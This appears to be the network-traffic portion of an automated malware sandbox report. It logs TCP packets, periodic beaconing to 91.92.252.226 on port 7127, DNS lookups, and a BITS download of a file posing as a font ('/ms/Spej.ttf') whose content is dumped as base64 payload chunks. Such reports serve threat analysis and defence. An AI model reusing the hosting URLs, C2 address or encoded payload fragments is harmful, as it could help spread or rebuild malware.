Dec 19, 2024 12:48:32.786767960 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.786937952 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.902235985 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.902379990 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.914997101 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.915122032 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.924451113 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.924546957 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.933245897 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.933340073 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.939522982 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.939620018 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:32.945239067 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:32.945321083 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.190680981 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.190697908 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.190812111 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.197366953 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.197480917 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.202838898 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.202950001 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.208733082 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.208820105 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.214585066 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.214665890 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.222394943 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.222465992 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.228744984 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.228831053 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.235054970 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.235202074 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.240369081 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.240472078 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.248251915 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.248342991 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.256851912 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.256932974 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.262366056 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.262471914 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.267553091 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.267662048 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.273869991 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.273966074 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.281198025 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.281358957 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.286727905 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.286844015 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.292895079 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.292990923 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.384919882 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.384999990 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.390558004 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.390630007 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.397530079 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.397599936 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.401408911 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.401474953 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.406347036 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.406420946 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.410995007 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.411055088 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.416759968 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.416830063 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.422564983 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.422622919 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.426615000 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.426681995 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.431308985 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.431379080 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.435575008 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.435656071 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.440190077 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.440253019 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.445261002 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.445331097 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.449577093 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.449647903 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.455538034 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.455611944 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.687594891 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.687634945 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.687750101 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.690840006 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.690922976 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.694627047 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.694701910 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.699050903 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.699147940 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.702229023 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.702312946 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.705889940 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.705976009 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.709218979 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.709300995 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.713623047 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.713709116 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.717046976 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.717128038 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.721185923 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.721296072 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.724551916 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.724651098 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.728003025 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.728090048 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.732289076 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.732428074 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.735924959 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.735996008 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.739429951 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.739526987 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.743432045 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.743536949 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.879184961 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.879333019 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.884284019 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.884440899 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.887439966 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.887523890 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.891236067 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.891374111 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.897192955 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.897310019 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.900904894 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.901026011 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.904838085 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.904973984 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.905564070 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.905631065 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.905647993 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.905693054 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.905716896 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.905725002 CET	443	49771	103.120.177.150	192.168.2.5
Dec 19, 2024 12:48:33.905765057 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:33.905796051 CET	49771	443	192.168.2.5	103.120.177.150
Dec 19, 2024 12:48:47.884397984 CET	49815	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:48:48.004235983 CET	7127	49815	91.92.252.226	192.168.2.5
Dec 19, 2024 12:48:48.004328012 CET	49815	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:48:48.004694939 CET	49815	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:48:48.125318050 CET	7127	49815	91.92.252.226	192.168.2.5
Dec 19, 2024 12:48:52.885657072 CET	49815	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:48:53.046833992 CET	7127	49815	91.92.252.226	192.168.2.5
Dec 19, 2024 12:48:57.893861055 CET	49836	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:48:58.013631105 CET	7127	49836	91.92.252.226	192.168.2.5
Dec 19, 2024 12:48:58.015661955 CET	49836	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:48:58.018376112 CET	49836	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:48:58.138492107 CET	7127	49836	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:02.913198948 CET	49836	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:03.078286886 CET	7127	49836	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:07.925242901 CET	49862	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:08.044918060 CET	7127	49862	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:08.045099974 CET	49862	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:08.045265913 CET	49862	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:08.164798021 CET	7127	49862	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:09.916517973 CET	7127	49815	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:09.916673899 CET	49815	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:12.945130110 CET	49862	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:13.106231928 CET	7127	49862	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:17.941006899 CET	49887	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:18.060561895 CET	7127	49887	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:18.060688019 CET	49887	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:18.060888052 CET	49887	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:18.180349112 CET	7127	49887	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:19.932121992 CET	7127	49836	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:19.932348967 CET	49836	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:22.961148024 CET	49887	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:23.122222900 CET	7127	49887	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:27.956891060 CET	49909	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:28.076590061 CET	7127	49909	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:28.078478098 CET	49909	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:28.078690052 CET	49909	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:28.198213100 CET	7127	49909	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:29.932241917 CET	7127	49862	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:29.932387114 CET	49862	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:32.961570024 CET	49909	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:33.122215986 CET	7127	49909	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:37.956513882 CET	49933	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:38.076035976 CET	7127	49933	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:38.076222897 CET	49933	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:38.076687098 CET	49933	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:38.196202993 CET	7127	49933	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:39.963742971 CET	7127	49887	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:39.963881016 CET	49887	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:42.960900068 CET	49933	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:43.122589111 CET	7127	49933	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:47.972191095 CET	49956	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:48.091686964 CET	7127	49956	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:48.091778994 CET	49956	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:48.091948986 CET	49956	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:48.211553097 CET	7127	49956	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:49.995254993 CET	7127	49909	91.92.252.226	192.168.2.5
Dec 19, 2024 12:49:49.995445967 CET	49909	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:52.992013931 CET	49956	7127	192.168.2.5	91.92.252.226
Dec 19, 2024 12:49:53.154303074 CET	7127	49956	91.92.252.226	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 12:47:54.667534113 CET	65416	53	192.168.2.5	1.1.1.1
Dec 19, 2024 12:47:54.805587053 CET	53	65416	1.1.1.1	192.168.2.5
Dec 19, 2024 12:48:28.487698078 CET	55060	53	192.168.2.5	1.1.1.1
Dec 19, 2024 12:48:29.487653971 CET	55060	53	192.168.2.5	1.1.1.1
Dec 19, 2024 12:48:29.528006077 CET	53	55060	1.1.1.1	192.168.2.5
Dec 19, 2024 12:48:29.626509905 CET	53	55060	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 12:47:54.667534113 CET	192.168.2.5	1.1.1.1	0xe89e	Standard query (0)	www.astenterprises.com.pk	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:48:28.487698078 CET	192.168.2.5	1.1.1.1	0x6407	Standard query (0)	www.royalengineeringllc.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:48:29.487653971 CET	192.168.2.5	1.1.1.1	0x6407	Standard query (0)	www.royalengineeringllc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 12:47:54.805587053 CET	1.1.1.1	192.168.2.5	0xe89e	No error (0)	www.astenterprises.com.pk	astenterprises.com.pk		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:47:54.805587053 CET	1.1.1.1	192.168.2.5	0xe89e	No error (0)	astenterprises.com.pk		107.161.23.150	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:48:29.528006077 CET	1.1.1.1	192.168.2.5	0x6407	No error (0)	www.royalengineeringllc.com	royalengineeringllc.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:48:29.528006077 CET	1.1.1.1	192.168.2.5	0x6407	No error (0)	royalengineeringllc.com		103.120.177.150	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:48:29.626509905 CET	1.1.1.1	192.168.2.5	0x6407	No error (0)	www.royalengineeringllc.com	royalengineeringllc.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:48:29.626509905 CET	1.1.1.1	192.168.2.5	0x6407	No error (0)	royalengineeringllc.com		103.120.177.150	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.astenterprises.com.pk

www.royalengineeringllc.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	107.161.23.150	443	3712	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:47:56 UTC	159	OUT	HEAD /ms/Spej.ttf HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: www.astenterprises.com.pk
2024-12-19 11:47:56 UTC	467	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Thu, 26 Dec 2024 11:47:56 GMT content-type: font/ttf last-modified: Mon, 05 Feb 2024 11:01:15 GMT accept-ranges: bytes content-length: 394652 date: Thu, 19 Dec 2024 11:47:56 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	107.161.23.150	443	3712	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:47:57 UTC	210	OUT	GET /ms/Spej.ttf HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Mon, 05 Feb 2024 11:01:15 GMT User-Agent: Microsoft BITS/7.8 Host: www.astenterprises.com.pk
2024-12-19 11:47:58 UTC	467	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Thu, 26 Dec 2024 11:47:58 GMT content-type: font/ttf last-modified: Mon, 05 Feb 2024 11:01:15 GMT accept-ranges: bytes content-length: 394652 date: Thu, 19 Dec 2024 11:47:58 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 36 77 4b 34 32 4f 73 43 50 7a 2b 37 7a 44 34 63 41 4f 73 43 4c 56 31 78 41 5a 73 44 58 43 51 45 36 77 4c 6d 52 2b 73 43 32 36 57 35 4c 4d 7a 52 6b 6e 45 42 6d 2b 73 43 49 4b 4b 42 38 5a 50 56 66 52 5a 78 41 5a 74 78 41 5a 75 42 36 62 38 5a 72 49 54 72 41 68 44 54 63 51 47 62 63 51 47 62 36 77 4c 35 43 37 70 41 6e 4f 35 6a 63 51 47 62 63 51 47 62 36 77 4c 49 4d 75 73 43 77 4f 51 78 79 6e 45 42 6d 33 45 42 6d 34 6b 55 43 33 45 42 6d 2b 73 43 75 56 4c 52 34 6e 45 42 6d 33 45 42 6d 34 50 42 42 4f 73 43 43 58 35 78 41 5a 75 42 2b 66 53 54 54 41 52 38 7a 4f 73 43 48 65 37 72 41 6a 76 52 69 30 51 6b 42 4f 73 43 59 58 2f 72 41 69 37 6f 69 63 4e 78 41 5a 74 78 41 5a 75 42 77 2b 76 52 69 51 46 78 41 5a 76 72 41 6a 4f 7a 75 6d 49 69 54 4e 37 72 41 6d 2f 4c 63 51 47 Data Ascii: 6wK42OsCPz+7zD4cAOsCLV1xAZsDXCQE6wLmR+sC26W5LMzRknEBm+sCIKKB8ZPVfRZxAZtxAZuB6b8ZrITrAhDTcQGbcQGb6wL5C7pAnO5jcQGbcQGb6wLIMusCwOQxynEBm3EBm4kUC3EBm+sCuVLR4nEBm3EBm4PBBOsCCX5xAZuB+fSTTAR8zOsCHe7rAjvRi0QkBOsCYX/rAi7oicNxAZtxAZuBw+vRiQFxAZvrAjOzumIiTN7rAm/LcQG
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 2f 35 4a 79 6f 68 5a 55 62 4b 5a 55 69 78 72 6b 75 36 51 48 6c 33 74 43 4d 74 55 2b 5a 77 5a 42 78 75 36 62 7a 4d 62 32 35 38 50 48 37 70 76 44 78 2b 36 62 77 2b 2b 4e 41 52 78 6a 56 4c 4c 38 32 62 71 4d 39 35 36 52 36 59 6a 48 4f 4e 44 66 72 71 34 36 70 74 33 39 53 49 43 2f 65 39 32 4c 4e 41 5a 45 71 67 4a 56 48 36 41 54 69 68 6f 77 73 42 4e 38 54 4a 64 57 74 7a 61 30 33 4a 34 6e 45 57 52 45 39 70 69 33 64 6e 6a 71 6f 51 2f 51 62 62 6b 48 53 69 44 76 6e 46 35 43 4d 65 62 52 62 36 2b 4f 39 49 58 42 47 56 4c 41 44 53 76 2b 59 59 39 67 47 45 2f 73 47 37 5a 78 79 6b 63 67 39 36 4d 4d 76 36 70 63 70 65 52 2f 79 47 43 67 41 6d 70 6e 6e 47 34 33 54 62 69 32 74 68 6f 77 35 33 4c 64 6e 6b 59 46 57 63 47 79 57 4d 74 37 77 6e 72 70 48 76 49 65 45 78 4d 35 32 77 66 Data Ascii: /5JyohZUbKZUixrku6QHl3tCMtU+ZwZBxu6bzMb258PH7pvDx+6bw++NARxjVLL82bqM956R6YjHONDfrq46pt39SIC/e92LNAZEqgJVH6ATihowsBN8TJdWtza03J4nEWRE9pi3dnjqoQ/QbbkHSiDvnF5CMebRb6+O9IXBGVLADSv+YY9gGE/sG7Zxykcg96MMv6pcpeR/yGCgAmpnnG43Tbi2thow53LdnkYFWcGyWMt7wnrpHvIeExM52wf
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 70 42 6c 5a 59 50 6c 61 76 70 78 44 4c 4d 56 43 38 38 71 6c 6e 71 64 63 47 75 2f 6a 44 4a 4b 7a 78 6f 62 76 31 51 38 58 47 73 66 6a 4a 38 37 5a 33 32 2b 76 35 77 68 4a 39 4c 4f 51 55 5a 2f 46 30 36 67 61 4c 48 78 61 32 4d 56 47 41 64 4b 54 46 39 48 4e 58 30 34 49 6b 76 31 61 61 30 47 2f 32 4a 62 5a 70 33 4f 69 79 56 65 66 43 4e 64 53 38 36 76 78 2f 31 58 67 78 7a 50 48 6e 4f 48 4a 38 55 35 77 71 48 59 76 30 4e 35 34 2b 4d 4e 61 6b 30 36 6b 6f 30 35 2f 5a 6d 66 45 61 6b 47 64 51 77 72 45 51 73 50 4b 6c 66 65 31 63 46 63 5a 56 6e 36 64 47 54 4b 30 62 42 33 48 73 70 58 72 67 58 52 44 7a 55 5a 34 66 75 78 73 49 67 78 33 43 32 42 41 68 45 32 31 51 2b 68 32 45 72 4f 42 45 54 4c 64 7a 43 48 74 77 65 69 48 2b 76 6e 72 79 4f 39 59 37 4d 66 75 6d 38 50 48 37 70 76 Data Ascii: pBlZYPlavpxDLMVC88qlnqdcGu/jDJKzxobv1Q8XGsfjJ87Z32+v5whJ9LOQUZ/F06gaLHxa2MVGAdKTF9HNX04Ikv1aa0G/2JbZp3OiyVefCNdS86vx/1XgxzPHnOHJ8U5wqHYv0N54+MNak06ko05/ZmfEakGdQwrEQsPKlfe1cFcZVn6dGTK0bB3HspXrgXRDzUZ4fuxsIgx3C2BAhE21Q+h2ErOBETLdzCHtweiH+vnryO9Y7Mfum8PH7pv
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 79 71 75 66 6c 6f 63 50 52 5a 66 45 75 4e 4e 4d 53 78 53 44 4f 38 77 4a 4f 41 32 66 32 37 4b 33 44 36 66 4d 66 4b 58 67 4c 4c 4e 47 47 57 35 68 51 65 73 61 42 45 6d 69 56 45 6c 4f 2b 51 41 6c 68 75 66 68 72 78 72 52 55 6d 76 4e 78 46 53 51 53 2f 37 2f 32 6e 61 2b 6e 38 44 2f 5a 30 38 67 30 6e 6d 76 73 4b 6a 34 6d 2b 53 4b 4f 32 34 4d 79 4a 62 2b 56 61 66 6c 64 4a 71 59 36 78 39 47 65 4c 32 55 77 76 47 4f 6d 38 50 48 37 70 76 44 78 2b 36 62 2b 71 61 39 6e 48 4f 78 4f 2f 70 41 2b 37 6e 31 2b 63 43 56 37 74 4d 56 72 43 6b 63 77 74 63 65 4e 73 62 75 6d 30 68 43 47 35 72 44 78 2b 45 66 47 64 66 75 6d 35 42 38 2b 74 46 67 4c 6d 39 6f 52 4e 6f 50 35 45 49 30 6a 30 6f 42 6c 32 39 59 36 36 51 38 75 6b 49 45 43 49 31 75 30 4c 77 48 53 69 58 6e 67 56 36 68 31 31 79 Data Ascii: yquflocPRZfEuNNMSxSDO8wJOA2f27K3D6fMfKXgLLNGGW5hQesaBEmiVElO+QAlhufhrxrRUmvNxFSQS/7/2na+n8D/Z08g0nmvsKj4m+SKO24MyJb+VafldJqY6x9GeL2UwvGOm8PH7pvDx+6b+qa9nHOxO/pA+7n1+cCV7tMVrCkcwtceNsbum0hCG5rDx+EfGdfum5B8+tFgLm9oRNoP5EI0j0oBl29Y66Q8ukIECI1u0LwHSiXngV6h11y
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 50 44 51 48 7a 4b 30 59 57 50 70 4f 57 34 44 42 78 2b 37 39 51 6a 6b 4f 4d 48 30 38 6d 52 41 67 2f 7a 51 66 45 55 59 59 35 42 2b 69 31 36 49 54 52 68 69 59 61 4f 53 38 47 67 57 36 45 61 6d 30 51 7a 64 74 41 71 33 76 61 45 68 79 39 5a 6e 44 78 34 69 69 45 77 44 74 4c 6a 65 30 71 36 49 43 52 74 31 72 51 4c 48 44 47 76 41 57 56 33 46 70 52 75 31 38 72 42 37 4d 45 6c 59 34 37 35 76 44 52 70 50 54 47 46 7a 75 6d 38 78 44 64 70 76 43 78 31 54 61 55 67 49 2b 47 6a 48 2f 6e 45 64 64 52 68 77 68 4b 4c 44 58 47 6a 6f 32 48 79 4f 78 52 69 7a 61 4e 46 5a 6d 47 7a 2b 6d 37 30 68 49 55 68 47 61 77 38 66 57 62 2f 73 65 4b 5a 67 78 50 55 4e 41 51 72 71 61 76 61 72 48 37 70 52 4f 41 67 35 6b 50 45 62 64 39 4b 57 75 6a 52 72 77 6e 76 34 51 61 30 62 46 51 4b 50 41 41 50 31 Data Ascii: 